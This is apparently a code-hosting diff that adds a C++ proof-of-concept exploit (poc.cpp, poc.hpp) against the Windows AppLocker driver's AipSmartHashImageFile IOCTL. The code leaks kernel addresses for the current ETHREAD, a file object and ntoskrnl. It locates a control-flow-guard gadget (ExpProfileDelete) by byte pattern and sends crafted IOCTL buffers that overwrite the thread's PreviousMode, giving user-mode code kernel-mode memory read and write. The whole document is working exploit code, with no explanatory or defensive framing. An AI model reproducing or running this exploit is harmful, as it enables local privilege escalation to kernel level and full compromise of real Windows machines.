    poc.cpp
     1 +#include "pch.hpp"
     2 +#include "poc.hpp"
     3 + 
     4 +// This function is used to set the IOCTL buffer depending on the Windows version
     5 +void* c_poc::set_ioctl_buffer(size_t* k_thread_offset, OSVERSIONINFOEXW* os_info)
     6 +{
     7 + os_info->dwOSVersionInfoSize = sizeof(*os_info);
     8 +
     9 + // Get the OS version
     10 + NTSTATUS status = RtlGetVersion(os_info);
     11 + if (!NT_SUCCESS(status)) {
     12 + log_err("Failed to get OS version!");
     13 + return nullptr;
     14 + }
     15 + 
     16 + log_debug("Windows version detected: %lu.%lu, build: %lu.", os_info->dwMajorVersion, os_info->dwMinorVersion, os_info->dwBuildNumber);
     17 + 
     18 + // "PreviousMode" offset in ETHREAD structure
     19 + *k_thread_offset = 0x232;
     20 +
     21 + // Set the "AipSmartHashImageFile" function buffer depending on the Windows version
     22 + void* ioctl_buffer_alloc = os_info->dwBuildNumber < 22000
     23 + ? malloc(sizeof(AIP_SMART_HASH_IMAGE_FILE_W10))
     24 + : malloc(sizeof(AIP_SMART_HASH_IMAGE_FILE_W11));
     25 + 
     26 + return ioctl_buffer_alloc;
     27 +}
     28 + 
     29 +// This function is used to get the ETHREAD address through the SystemHandleInformation method that is used to get the address of the current thread object based on the pseudo handle -2
     30 +UINT_PTR c_poc::get_ethread_address()
     31 +{
     32 + // Duplicate the pseudo handle -2 to get the current thread object
     33 + HANDLE h_current_thread_pseudo = reinterpret_cast<HANDLE>(-2);
     34 + HANDLE h_duplicated_handle = {};
     35 + 
     36 + if (!DuplicateHandle(
     37 + reinterpret_cast<HANDLE>(-1),
     38 + h_current_thread_pseudo,
     39 + reinterpret_cast<HANDLE>(-1),
     40 + &h_duplicated_handle,
     41 + NULL,
     42 + FALSE,
     43 + DUPLICATE_SAME_ACCESS))
     44 + {
     45 + log_err("Failed to duplicate handle, error: %lu", GetLastError());
     46 + return EXIT_FAILURE;
     47 + }
     48 + 
     49 + NTSTATUS status = {};
     50 + ULONG ul_bytes = {};
     51 + PSYSTEM_HANDLE_INFORMATION h_table_info = {};
     52 + // Get the current thread object address
     53 + while ((status = NtQuerySystemInformation(SystemHandleInformation, h_table_info, ul_bytes, &ul_bytes)) == STATUS_INFO_LENGTH_MISMATCH)
     54 + {
     55 + if (h_table_info != NULL)
     56 + h_table_info = (PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, h_table_info, (2 * (SIZE_T)ul_bytes));
     57 + else
     58 + h_table_info = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (2 * (SIZE_T)ul_bytes));
     59 + }
     60 + 
     61 + UINT_PTR ptr_token_address = 0;
     62 + if (NT_SUCCESS(status)) {
     63 + for (ULONG i = 0; i < h_table_info->NumberOfHandles; i++) {
     64 + if (h_table_info->Handles[i].UniqueProcessId == GetCurrentProcessId() &&
     65 + h_table_info->Handles[i].HandleValue ==
     66 + reinterpret_cast<USHORT>(h_duplicated_handle)) {
     67 + ptr_token_address =
     68 + reinterpret_cast<UINT_PTR>(h_table_info->Handles[i].Object);
     69 + break;
     70 + }
     71 + }
     72 + }
     73 + else {
     74 + if (h_table_info) {
     75 + log_err("NtQuerySystemInformation failed, (code: 0x%X)", status);
     76 + NtClose(h_duplicated_handle);
     77 + }
     78 + }
     79 + 
     80 + return ptr_token_address;
     81 +}
     82 + 
     83 +// This function is used to get the FileObject address through the SystemHandleInformation method that is used to get the address of the file object.
     84 +UINT_PTR c_poc::get_file_object_address()
     85 +{
     86 + // Create a dummy file to get the file object address
     87 + HANDLE h_file = CreateFileW(L"C:\\Users\\Public\\example.txt",
     88 + GENERIC_READ | GENERIC_WRITE,
     89 + FILE_SHARE_READ | FILE_SHARE_WRITE, nullptr,
     90 + CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, nullptr);
     91 + if (h_file == INVALID_HANDLE_VALUE) {
     92 + log_err("Failed to open dummy file, error: %lu", GetLastError());
     93 + return EXIT_FAILURE;
     94 + }
     95 + 
     96 + // Get the file object address
     97 + NTSTATUS status = {};
     98 + ULONG ul_bytes = 0;
     99 + PSYSTEM_HANDLE_INFORMATION h_table_info = NULL;
     100 + while ((status = NtQuerySystemInformation(
     101 + SystemHandleInformation, h_table_info, ul_bytes,
     102 + &ul_bytes)) == STATUS_INFO_LENGTH_MISMATCH) {
     103 + if (h_table_info != NULL)
     104 + h_table_info = (PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, h_table_info, 2 * (SIZE_T)ul_bytes);
     105 + else
     106 + h_table_info = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 2 * (SIZE_T)ul_bytes);
     107 + 
     108 + }
     109 + 
     110 + UINT_PTR token_address = 0;
     111 + if (NT_SUCCESS(status)) {
     112 + for (ULONG i = 0; i < h_table_info->NumberOfHandles; i++) {
     113 + if (h_table_info->Handles[i].UniqueProcessId == GetCurrentProcessId() &&
     114 + h_table_info->Handles[i].HandleValue ==
     115 + reinterpret_cast<USHORT>(h_file)) {
     116 + token_address =
     117 + reinterpret_cast<UINT_PTR>(h_table_info->Handles[i].Object);
     118 + break;
     119 + }
     120 + }
     121 + }
     122 + 
     123 + return token_address;
     124 +}
     125 + 
     126 +// This function is used to get the kernel module address based on the module name
     127 +UINT_PTR c_poc::get_kernel_module_address(const char* target_module)
     128 +{
     129 + // Get the kernel module address based on the module name
     130 + NTSTATUS status = {};
     131 + ULONG ul_bytes = {};
     132 + PSYSTEM_MODULE_INFORMATION h_table_info = {};
     133 + while ((status = NtQuerySystemInformation(
     134 + SystemModuleInformation, h_table_info, ul_bytes,
     135 + &ul_bytes)) == STATUS_INFO_LENGTH_MISMATCH) {
     136 + if (h_table_info != NULL)
     137 + h_table_info = (PSYSTEM_MODULE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, h_table_info, 2 * (SIZE_T)ul_bytes);
     138 + else
     139 + h_table_info = (PSYSTEM_MODULE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 2 * (SIZE_T)ul_bytes);
     140 + }
     141 + 
     142 + if (NT_SUCCESS(status)) {
     143 + for (ULONG i = 0; i < h_table_info->ModulesCount; i++) {
     144 + if (strstr(h_table_info->Modules[i].Name, target_module) != nullptr) {
     145 + return reinterpret_cast<UINT_PTR>(
     146 + h_table_info->Modules[i].ImageBaseAddress);
     147 + }
     148 + }
     149 + }
     150 + 
     151 + return 0;
     152 +}
     153 + 
     154 +// This function is used to scan the section for the pattern.
     155 +BOOL c_poc::scan_section_for_pattern(HANDLE h_process, LPVOID lp_base_address, SIZE_T dw_size, BYTE* pattern, SIZE_T pattern_size, LPVOID* lp_found_address) {
     156 + std::unique_ptr<BYTE[]> buffer(new BYTE[dw_size]);
     157 + SIZE_T bytes_read = {};
     158 + if (!ReadProcessMemory(h_process, lp_base_address, buffer.get(), dw_size,
     159 + &bytes_read)) {
     160 + return false;
     161 + }
     162 + 
     163 + for (SIZE_T i = 0; i < dw_size - pattern_size; i++) {
     164 + if (memcmp(pattern, &buffer[i], pattern_size) == 0) {
     165 + *lp_found_address = reinterpret_cast<LPVOID>(
     166 + reinterpret_cast<DWORD_PTR>(lp_base_address) + i);
     167 + return true;
     168 + }
     169 + }
     170 + 
     171 + return false;
     172 +}
     173 + 
     174 +// This function is used to find the pattern in the module, in this case the pattern is the nt!ExpProfileDelete function
     175 +UINT_PTR c_poc::find_pattern(HMODULE h_module)
     176 +{
     177 + UINT_PTR relative_offset = {};
     178 + 
     179 + auto* p_dos_header = reinterpret_cast<PIMAGE_DOS_HEADER>(h_module);
     180 + auto* p_nt_headers = reinterpret_cast<PIMAGE_NT_HEADERS>(
     181 + reinterpret_cast<LPBYTE>(h_module) + p_dos_header->e_lfanew);
     182 + auto* p_section_header = IMAGE_FIRST_SECTION(p_nt_headers);
     183 + 
     184 + LPVOID lp_found_address = nullptr;
     185 + 
     186 + for (WORD i = 0; i < p_nt_headers->FileHeader.NumberOfSections; i++) {
     187 + if (strcmp(reinterpret_cast<CHAR*>(p_section_header[i].Name), "PAGE") ==
     188 + 0) {
     189 + LPVOID lp_section_base_address =
     190 + reinterpret_cast<LPVOID>(reinterpret_cast<LPBYTE>(h_module) +
     191 + p_section_header[i].VirtualAddress);
     192 + SIZE_T dw_section_size = p_section_header[i].Misc.VirtualSize;
     193 +
     194 + // Pattern to nt!ExpProfileDelete
     195 + BYTE pattern[] = { 0x40, 0x53, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x83,
     196 + 0x79, 0x30, 0x00, 0x48, 0x8B, 0xD9, 0x74 };
     197 + SIZE_T pattern_size = sizeof(pattern);
     198 + 
     199 + if (this->scan_section_for_pattern(
     200 + GetCurrentProcess(), lp_section_base_address, dw_section_size,
     201 + pattern, pattern_size, &lp_found_address)) {
     202 + relative_offset = reinterpret_cast<UINT_PTR>(lp_found_address) -
     203 + reinterpret_cast<UINT_PTR>(h_module);
     204 + }
     205 + 
     206 + break;
     207 + }
     208 + }
     209 + 
     210 + return relative_offset;
     211 +}
     212 + 
     213 +// This function is used to send the IOCTL request to the driver, in this case the AppLocker driver through the AipSmartHashImageFile IOCTL
     214 +bool c_poc::send_ioctl_request(HANDLE h_device, PVOID input_buffer, size_t input_buffer_length)
     215 +{
     216 + IO_STATUS_BLOCK io_status = {};
     217 + NTSTATUS status =
     218 + NtDeviceIoControlFile(h_device, nullptr, nullptr, nullptr, &io_status,
     219 + this->IOCTL_AipSmartHashImageFile, input_buffer,
     220 + input_buffer_length, nullptr, 0);
     221 + return NT_SUCCESS(status);
     222 +}
     223 + 
     224 +// This function executes the exploit
     225 +bool c_poc::act() {
     226 + // Get the OS version, set the IOCTL buffer and open a handle to the AppLocker driver
     227 + OSVERSIONINFOEXW os_info = {};
     228 + size_t offset_of_previous_mode = {};
     229 + auto ioctl_buffer = this->set_ioctl_buffer(&offset_of_previous_mode, &os_info);
     230 + 
     231 + if (!ioctl_buffer) {
     232 + log_err("Failed to allocate the correct buffer to send on the IOCTL request.");
     233 + return false;
     234 + }
     235 + 
     236 + // Open a handle to the AppLocker driver
     237 + OBJECT_ATTRIBUTES object_attributes = {};
     238 + UNICODE_STRING appid_device_name = {};
     239 + RtlInitUnicodeString(&appid_device_name, L"\\Device\\AppID");
     240 + InitializeObjectAttributes(&object_attributes, &appid_device_name, OBJ_CASE_INSENSITIVE, NULL, NULL, NULL);
     241 + 
     242 + IO_STATUS_BLOCK io_status = {};
     243 + HANDLE h_device = {};
     244 + NTSTATUS status = NtCreateFile(&h_device, GENERIC_READ | GENERIC_WRITE,
     245 + &object_attributes, &io_status, NULL, FILE_ATTRIBUTE_NORMAL,
     246 + FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN, 0, NULL, 0);
     247 + 
     248 + if (!NT_SUCCESS(status))
     249 + {
     250 + log_debug("Failed to open a handle to the AppLocker driver (%ls) (code: 0x%X)", appid_device_name.Buffer, status);
     251 + return false;
     252 + }
     253 + 
     254 + log_debug("AppLocker (AppId) handle opened: 0x%p", h_device);
     255 + 
     256 + log_debug("Leaking the current ETHREAD address.");
     257 + 
     258 + // Get the ETHREAD address, FileObject address, KernelBase address and the relative offset of the nt!ExpProfileDelete function
     259 + auto e_thread_address = this->get_ethread_address();
     260 + auto file_obj_address = this->get_file_object_address();
     261 + 
     262 + auto ntoskrnl_kernel_base_address = this->get_kernel_module_address("ntoskrnl.exe");
     263 + auto ntoskrnl_user_base_address = LoadLibraryExW(L"C:\\Windows\\System32\\ntoskrnl.exe", NULL, NULL);
     264 + 
     265 + if (!e_thread_address && !ntoskrnl_kernel_base_address && !ntoskrnl_user_base_address && !file_obj_address)
     266 + {
     267 + log_debug("Failed to fetch the ETHREAD/FileObject/KernelBase addresses.");
     268 + return false;
     269 + }
     270 + 
     271 + log_debug("ETHREAD address leaked: 0x%p", e_thread_address);
     272 +
     273 + log_debug("Feching the ExpProfileDelete (user cfg gadget) address.");
     274 + auto relative_offset = this->find_pattern(ntoskrnl_user_base_address);
     275 + UINT_PTR kcfg_gadget_address = (ntoskrnl_kernel_base_address + relative_offset);
     276 + 
     277 + ULONG_PTR previous_mode = (e_thread_address + offset_of_previous_mode);
     278 + log_debug("Current ETHREAD PreviousMode address -> 0x%p", previous_mode);
     279 + log_debug("File object address -> 0x%p", file_obj_address);
     280 + 
     281 + log_debug("kCFG Kernel Base address -> 0x%p", ntoskrnl_kernel_base_address);
     282 + log_debug("kCFG User Base address -> 0x%p", ntoskrnl_user_base_address);
     283 + log_debug("kCFG Gadget address -> 0x%p", kcfg_gadget_address);
     284 + 
     285 + // Set the IOCTL buffer depending on the Windows version
     286 + size_t ioctl_buffer_length = {};
     287 + CFG_FUNCTION_WRAPPER kcfg_function = {};
     288 + if (os_info.dwBuildNumber < 22000) {
     289 + AIP_SMART_HASH_IMAGE_FILE_W10* w10_ioctl_buffer = (AIP_SMART_HASH_IMAGE_FILE_W10*)ioctl_buffer;
     290 + 
     291 + kcfg_function.FunctionPointer = (PVOID)kcfg_gadget_address;
     292 + // Add 0x30 because of lock xadd qword ptr [rsi-30h], rbx in ObfDereferenceObjectWithTag
     293 + UINT_PTR previous_mode_obf = previous_mode + 0x30;
     294 + 
     295 + w10_ioctl_buffer->FirstArg = previous_mode_obf; // +0x00
     296 + w10_ioctl_buffer->Value = (PVOID)file_obj_address; // +0x08
     297 + w10_ioctl_buffer->PtrToFunctionWrapper = &kcfg_function; // +0x10
     298 + 
     299 + ioctl_buffer_length = sizeof(AIP_SMART_HASH_IMAGE_FILE_W10);
     300 + }
     301 + else
     302 + {
     303 + AIP_SMART_HASH_IMAGE_FILE_W11* w11_ioctl_buffer = (AIP_SMART_HASH_IMAGE_FILE_W11*)ioctl_buffer;
     304 + 
     305 + kcfg_function.FunctionPointer = (PVOID)kcfg_gadget_address;
     306 + // Add 0x30 because of lock xadd qword ptr [rsi-30h], rbx in ObfDereferenceObjectWithTag
     307 + UINT_PTR previous_mode_obf = previous_mode + 0x30;
     308 + 
     309 + w11_ioctl_buffer->FirstArg = previous_mode_obf; // +0x00
     310 + w11_ioctl_buffer->Value = (PVOID)file_obj_address; // +0x08
     311 + w11_ioctl_buffer->PtrToFunctionWrapper = &kcfg_function; // +0x10
     312 + w11_ioctl_buffer->Unknown = NULL; // +0x18
     313 + 
     314 + ioctl_buffer_length = sizeof(AIP_SMART_HASH_IMAGE_FILE_W11);
     315 + }
     316 + 
     317 + // Send the IOCTL request to the driver
     318 + log_debug("Sending IOCTL request to 0x22A018 (AipSmartHashImageFile)");
     319 + char* buffer = (char*)malloc(sizeof(CHAR));
     320 + if (ioctl_buffer)
     321 + {
     322 + log_debug("ioctl_buffer -> 0x%p size: %d", ioctl_buffer, ioctl_buffer_length);
     323 + 
     324 + if (!this->send_ioctl_request(h_device, ioctl_buffer, ioctl_buffer_length))
     325 + return false;
     326 + 
     327 + NtWriteVirtualMemory(GetCurrentProcess(), (PVOID)buffer, (PVOID)previous_mode, sizeof(CHAR), nullptr);
     328 + log_debug("Current PreviousMode -> %d", *buffer);
     329 + 
     330 + // From now on all Read/Write operations will be done in Kernel Mode.
     331 + }
     332 + 
     333 + log_debug("Restoring...");
     334 +
     335 + // Restores PreviousMode to 1 (user-mode).
     336 + *buffer = 1;
     337 + NtWriteVirtualMemory(GetCurrentProcess(), (PVOID)previous_mode, (PVOID)buffer, sizeof(CHAR), nullptr);
     338 + log_debug("Current PreviousMode -> %d", *buffer);
     339 + 
     340 + // Free the allocated memory and close the handle to the AppLocker driver
     341 + free(ioctl_buffer);
     342 + free(buffer);
     343 + NtClose(h_device);
     344 + 
     345 + 
     346 + return true;
     347 +}
  • ■ ■ ■ ■ ■ ■
    poc.hpp
     1 +#pragma once
     2 + 
     3 +typedef struct _CFG_FUNCTION_WRAPPER
     4 +{
     5 + PVOID FunctionPointer;
     6 +} CFG_FUNCTION_WRAPPER, * PCFG_FUNCTION_WRAPPER;
     7 + 
     8 +typedef struct _USER_BUFFER_W10
     9 +{
     10 + UINT64 FirstArg; // 8 bytes - Reserved or used as needed
     11 + PVOID Value; // 8 bytes - Should be 0 according to the requirement
     12 + PCFG_FUNCTION_WRAPPER PtrToFunctionWrapper; // 8 bytes - Points to CFG_FUNCTION_WRAPPER
     13 +} AIP_SMART_HASH_IMAGE_FILE_W10, * PUSER_BUFFER_W10;
     14 + 
     15 +typedef struct _USER_BUFFER_W11
     16 +{
     17 + UINT64 FirstArg; // 8 bytes - Reserved or used as needed
     18 + PVOID Value; // 8 bytes - Should be 0 according to the requirement
     19 + PCFG_FUNCTION_WRAPPER PtrToFunctionWrapper; // 8 bytes - Points to CFG_FUNCTION_WRAPPER
     20 + PVOID Unknown; // 8 bytes - Reserved or used as needed
     21 +} AIP_SMART_HASH_IMAGE_FILE_W11, * PUSER_BUFFER_W11;
     22 + 
     23 +typedef struct SYSTEM_MODULE {
     24 + ULONG Reserved1;
     25 + ULONG Reserved2;
     26 +#ifdef _WIN64
     27 + ULONG Reserved3;
     28 +#endif
     29 + PVOID ImageBaseAddress;
     30 + ULONG ImageSize;
     31 + ULONG Flags;
     32 + WORD Id;
     33 + WORD Rank;
     34 + WORD w018;
     35 + WORD NameOffset;
     36 + CHAR Name[255];
     37 +}SYSTEM_MODULE, * PSYSTEM_MODULE;
     38 + 
     39 +typedef struct SYSTEM_MODULE_INFORMATION {
     40 + ULONG ModulesCount;
     41 + SYSTEM_MODULE Modules[1];
     42 +} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
     43 + 
     44 +class c_poc
     45 +{
     46 +private:
     47 + static constexpr uintptr_t IOCTL_AipSmartHashImageFile = 0x22A018;
     48 + 
     49 + 
     50 + void* set_ioctl_buffer(size_t* kthreadoffset, OSVERSIONINFOEXW* osInfo);
     51 + 
     52 + UINT_PTR get_ethread_address();
     53 + UINT_PTR get_file_object_address();
     54 + UINT_PTR get_kernel_module_address(const char* TargetModule);
     55 + BOOL scan_section_for_pattern(HANDLE hProcess, LPVOID lpBaseAddress, SIZE_T dwSize, BYTE* pattern, SIZE_T patternSize, LPVOID* lpFoundAddress);
     56 + UINT_PTR find_pattern(HMODULE hModule);
     57 + 
     58 + bool send_ioctl_request(HANDLE hDevice, PVOID inputbuffer, size_t inputbufferLen);
     59 + 
     60 +public:
     61 + c_poc() = default;
     62 + ~c_poc() = default;
     63 + 
     64 + bool act();
     65 +};
     66 + 
     67 +inline auto poc = std::make_unique<c_poc>();
Please wait...
Page is in error, reload to recover